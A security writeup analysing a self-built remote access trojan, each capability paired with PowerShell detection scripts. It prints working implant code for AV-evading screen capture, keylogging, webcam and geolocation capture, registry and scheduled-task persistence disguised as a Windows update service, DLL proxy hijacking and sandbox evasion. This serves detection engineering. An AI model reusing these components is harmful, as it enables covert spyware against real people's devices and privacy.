← Back to writeups Command & Control

Einayim Implant Analysis

Full-featured RAT: VNC bypass, keylogging, webcam, geolocation, persistence — and how to detect it

// What is this?
A Python/C implant built to evade Kaspersky while providing remote desktop, keylogging, webcam, and file access.

This writeup documents a research implant I built to understand how commodity RATs work — and more importantly, how to detect them. Every capability shown here has corresponding blue team detection methods. The goal is understanding, not replication.

Research Context

This implant was built for authorized security research in isolated lab environments. The techniques documented here are common in commodity malware. Understanding them is essential for detection engineering.

Video Demonstration

Live VNC session demonstrating screen capture, remote control, and C2 communication. Lab environment on authorized infrastructure.

Capability Overview

Capability Implementation MITRE ATT&CK
Screen Capture Win32 BitBlt (bypasses mss module detection) T1113
Remote Desktop pynput mouse/keyboard control T1021.005
Keylogging pynput KeyListener hook T1056.001
Webcam OpenCV (cv2) VideoCapture T1125
Audio pyaudio stream capture T1123
File Browser os.listdir + file upload/download T1083, T1041
Geolocation Windows Location API via PowerShell T1614.001
Clipboard pyperclip get/set T1115
Persistence Registry Run + Scheduled Tasks T1547.001, T1053.005
C2 WebSocket JSON over TCP 8080 T1071.001

Screen Capture: Bypassing Kaspersky

Most Python screen capture uses the mss module. Kaspersky flags mss imports as suspicious because it's common in commodity RATs. The bypass: use raw Win32 BitBlt instead.

# Win32 BitBlt screen capture - avoids mss module detection
def capture_screen_win32():
    user32 = windll.user32
    gdi32 = windll.gdi32

    # Get screen dimensions
    width = user32.GetSystemMetrics(0)
    height = user32.GetSystemMetrics(1)

    # Get desktop DC
    hwnd = user32.GetDesktopWindow()
    hdc_src = user32.GetWindowDC(hwnd)
    hdc_dst = gdi32.CreateCompatibleDC(hdc_src)

    # Create bitmap and BitBlt copy
    hbmp = gdi32.CreateCompatibleBitmap(hdc_src, width, height)
    gdi32.SelectObject(hdc_dst, hbmp)
    gdi32.BitBlt(hdc_dst, 0, 0, width, height, hdc_src, 0, 0, 0x00CC0020)  # SRCCOPY

    # Get raw bitmap bits, convert to image
    # [buffer handling code - see detection section]

    # Cleanup handles
    gdi32.DeleteObject(hbmp)
    gdi32.DeleteDC(hdc_dst)
    user32.ReleaseDC(hwnd, hdc_src)

The technique uses standard GDI functions that thousands of legitimate applications call. No suspicious module imports, no behavioral signatures from mss.

PowerShell — Screen Capture Detection → Blue Team Ref
# Detect processes calling GetDesktopWindow + BitBlt frequently
# Sysmon Event ID 10 (ProcessAccess) won't catch this
# Need ETW tracing on GDI32 or behavioral analysis:

# Check for Python processes with GDI handles
Get-Process python*, pythonw* -ErrorAction SilentlyContinue | ForEach-Object {
    $handles = (Get-Process -Id $_.Id).HandleCount
    if ($handles -gt 500) {
        Write-Warning "High handle count: $($_.Name) PID $($_.Id) - $handles handles"
    }
}

# Look for recent screen capture artifacts
Get-ChildItem "$env:TEMP" -Recurse -Include "*.jpg","*.png","*.bmp" -ErrorAction SilentlyContinue |
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddMinutes(-30) -and $_.Length -gt 100KB }
Detection notes: BitBlt screen capture is hard to detect via API monitoring because it uses legitimate GDI functions. Focus on behavioral indicators: high frame rate capture, unusual process accessing desktop DC, image files appearing in temp directories.

Keylogging: pynput Hook

Keylogging uses pynput.keyboard.Listener which installs a low-level keyboard hook via SetWindowsHookEx. The hook captures all keystrokes system-wide.

from pynput.keyboard import Listener as KeyListener

keylog_buffer = ""

def on_key_press(key):
    global keylog_buffer
    try:
        keylog_buffer += key.char
    except AttributeError:
        # Special keys
        keylog_buffer += f"[{key.name}]"

# Start listener in background thread
listener = KeyListener(on_press=on_key_press)
listener.start()
PowerShell — Keylogger Detection → Blue Team Ref
# Detect low-level keyboard hooks (SetWindowsHookEx)
# Requires administrative privileges

# Method 1: Check for suspicious Python processes with keyboard hooks
Get-WmiObject Win32_Process -Filter "Name LIKE 'python%'" | ForEach-Object {
    $cmdline = $_.CommandLine
    if ($cmdline -match "pynput|keyboard|hook") {
        Write-Warning "Suspicious Python process: PID $($_.ProcessId) - $cmdline"
    }
}

# Method 2: Sysmon Event ID 1 - look for pynput in command lines
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';Id=1} -MaxEvents 1000 |
    Where-Object { $_.Message -match 'pynput|keyboard.*listener' }

# Method 3: Check loaded DLLs for hook indicators
Get-Process python* -ErrorAction SilentlyContinue | ForEach-Object {
    $modules = $_.Modules | Select-Object -ExpandProperty ModuleName
    if ($modules -contains "user32.dll") {
        Write-Output "PID $($_.Id) has user32.dll loaded (potential hook)"
    }
}
If this flags: pynput keyloggers call SetWindowsHookEx with WH_KEYBOARD_LL. This is visible in ETW traces and some EDR telemetry. Legitimate uses exist (accessibility software), so correlate with other indicators.

Webcam Capture: OpenCV

Webcam access uses OpenCV's VideoCapture. Simple, effective, and appears in many legitimate applications.

import cv2

def capture_webcam_frame():
    cap = cv2.VideoCapture(0)  # Default webcam
    if cap.isOpened():
        ret, frame = cap.read()
        cap.release()
        if ret:
            # Encode to JPEG, base64 for transmission
            _, buffer = cv2.imencode('.jpg', frame)
            return base64.b64encode(buffer).decode()
    return None
PowerShell — Webcam Access Detection → Blue Team Ref
# Check which processes have accessed webcam recently
# Windows 10/11 tracks camera access in registry

$camPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam"
Get-ChildItem $camPath -ErrorAction SilentlyContinue | ForEach-Object {
    $lastUsed = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).LastUsedTimeStop
    if ($lastUsed) {
        $app = Split-Path $_.Name -Leaf
        $time = [DateTime]::FromFileTime($lastUsed)
        Write-Output "$app - Last accessed: $time"
    }
}

# Check for Python processes with camera handles
Get-Process python* -ErrorAction SilentlyContinue | ForEach-Object {
    $handles = $_.HandleCount
    Write-Output "Python PID $($_.Id): $handles handles"
}
Detection notes: Windows 10+ shows camera indicator light and logs access. Check CapabilityAccessManager registry for unauthorized camera access. cv2.VideoCapture also loads avicap32.dll which can be monitored.

Geolocation: Windows Location API

The implant uses PowerShell to access Windows Location Services. This requires location permissions but many users have it enabled.

# PowerShell snippet executed by implant
GPS_SCRIPT = """
Add-Type -AssemblyName System.Device
$watcher = New-Object System.Device.Location.GeoCoordinateWatcher('High')
$watcher.Start()

# Wait for location fix (max 30 seconds)
$timeout = 0
while ($watcher.Status -ne 'Ready' -and $timeout -lt 30) {
    Start-Sleep -Seconds 1
    $timeout++
}

if ($watcher.Status -eq 'Ready') {
    $coord = $watcher.Position.Location
    $lat = $coord.Latitude.ToString([System.Globalization.CultureInfo]::InvariantCulture)
    $lng = $coord.Longitude.ToString([System.Globalization.CultureInfo]::InvariantCulture)
    Write-Output "$lat,$lng"
}
$watcher.Stop()
"""
PowerShell — Location Access Detection → Blue Team Ref
# Check location service access
$locPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location"
Get-ChildItem $locPath -ErrorAction SilentlyContinue | ForEach-Object {
    $lastUsed = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).LastUsedTimeStop
    if ($lastUsed) {
        $app = Split-Path $_.Name -Leaf
        $time = [DateTime]::FromFileTime($lastUsed)
        Write-Output "Location access: $app at $time"
    }
}

# Monitor for GeoCoordinateWatcher in PowerShell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} -MaxEvents 500 |
    Where-Object { $_.Message -match 'GeoCoordinateWatcher|System\.Device\.Location' } |
    Select-Object TimeCreated, Message
If this flags: Location API access from PowerShell or unknown processes is suspicious. Legitimate apps request location via UWP APIs with user consent dialogs, not via direct .NET calls from scripts.

Persistence Mechanisms

Registry Run Key

Classic persistence via HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Survives reboots, runs at user login.

import winreg

def install_persistence_registry():
    exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__

    key = winreg.OpenKey(
        winreg.HKEY_CURRENT_USER,
        r"Software\Microsoft\Windows\CurrentVersion\Run",
        0,
        winreg.KEY_SET_VALUE
    )
    winreg.SetValueEx(key, "WindowsUpdateService", 0, winreg.REG_SZ, exe_path)
    winreg.CloseKey(key)

Scheduled Task

Creates a scheduled task that runs at logon with highest privileges.

def install_persistence_task():
    exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__
    cmd = f'schtasks /create /tn "WindowsUpdateService" /tr "{exe_path}" /sc onlogon /rl highest /f'
    subprocess.run(cmd, shell=True, capture_output=True)
PowerShell — Persistence Detection → Blue Team Ref
# Check Run keys for suspicious entries
$runKeys = @(
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
)

foreach ($key in $runKeys) {
    Get-ItemProperty $key -ErrorAction SilentlyContinue | ForEach-Object {
        $_.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
            $val = $_.Value
            # Flag Python executables, temp paths, or suspicious names
            if ($val -match 'python|\.py|\\Temp\\|AppData\\Local\\Temp') {
                Write-Warning "Suspicious Run entry: $($_.Name) = $val"
            }
        }
    }
}

# Check scheduled tasks
Get-ScheduledTask | Where-Object {
    $_.Actions.Execute -match 'python|\.py|powershell.*-enc' -or
    $_.TaskName -match 'Update|Service|Windows' -and $_.Author -notmatch 'Microsoft'
} | Select-Object TaskName, @{N='Command';E={$_.Actions.Execute}}
If this flags: Entries pointing to Python scripts, temp directories, or with generic Windows-mimicking names (WindowsUpdateService, SystemHealth) are red flags. Cross-reference with known good baselines.

C Implementation: DLL Proxy Hijacking

The C version uses DLL proxy hijacking via version.dll. The malicious DLL forwards all legitimate calls to the real version.dll while running implant code.

/* Export forwarding - proxy to real version.dll */
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")

/* DllMain - implant initialization */
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        /* Start implant thread */
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)implant_main, NULL, 0, NULL);
    }
    return TRUE;
}
PowerShell — DLL Hijack Detection → Blue Team Ref
# Check for version.dll in application directories (should only be in System32)
$legitPath = "$env:SystemRoot\System32\version.dll"

Get-ChildItem "C:\Program Files","C:\Program Files (x86)",$env:APPDATA -Recurse -Filter "version.dll" -ErrorAction SilentlyContinue |
    ForEach-Object {
        $sig = Get-AuthenticodeSignature $_.FullName
        Write-Warning "version.dll found: $($_.FullPath)"
        Write-Warning "  Signed: $($sig.Status) by $($sig.SignerCertificate.Subject)"
    }

# Check DLL search order abuse - application dirs before System32
Get-Process | ForEach-Object {
    $path = $_.Path
    if ($path -and (Test-Path (Join-Path (Split-Path $path) "version.dll"))) {
        Write-Warning "$($_.Name) may load hijacked version.dll from $(Split-Path $path)"
    }
}
Detection notes: version.dll should only exist in System32. Any copy elsewhere is suspicious. Check Authenticode signature - legitimate Microsoft DLLs are signed.

Sandbox Detection

The C version includes anti-analysis checks to detect virtual machines and sandboxes:

BOOL IsSandboxEnvironment() {
    // Check for debugger
    if (IsDebuggerPresent()) return TRUE;

    // Check PEB BeingDebugged flag
    BOOL debugged = FALSE;
    __asm {
        mov eax, fs:[0x30]
        mov al, [eax + 0x2]
        mov debugged, al
    }
    if (debugged) return TRUE;

    // Check for sandbox processes
    const char* sandboxProcesses[] = {
        "vmtoolsd.exe",      // VMware
        "VBoxService.exe",   // VirtualBox
        "xenservice.exe",    // Xen
        "qemu-ga.exe",       // QEMU
        "sbiesvc.exe",       // Sandboxie
        "CuckooService.exe"  // Cuckoo sandbox
    };
    // ... process enumeration check ...
}

These checks are well-known to malware analysts. Modern sandboxes hide these artifacts, but commodity malware still uses them.

Summary: Detection Strategy

Detecting this implant requires layered monitoring:

  1. Process monitoring: Python processes with high handle counts, unusual network connections
  2. Registry monitoring: New Run key entries, especially pointing to scripts or temp paths
  3. Scheduled tasks: New tasks with generic Windows names, running from user directories
  4. DLL integrity: version.dll (and other commonly hijacked DLLs) outside System32
  5. Privacy access: Camera/location access from unexpected processes
  6. Network: WebSocket connections on unusual ports, persistent beaconing

No single indicator is definitive. Correlation across multiple data sources provides the clearest picture.

MITRE ATT&CK References:
T1113 - Screen Capture · T1056.001 - Keylogging · T1125 - Video Capture · T1123 - Audio Capture · T1614.001 - System Location Discovery · T1547.001 - Registry Run Keys · T1053.005 - Scheduled Task · T1574.001 - DLL Search Order Hijacking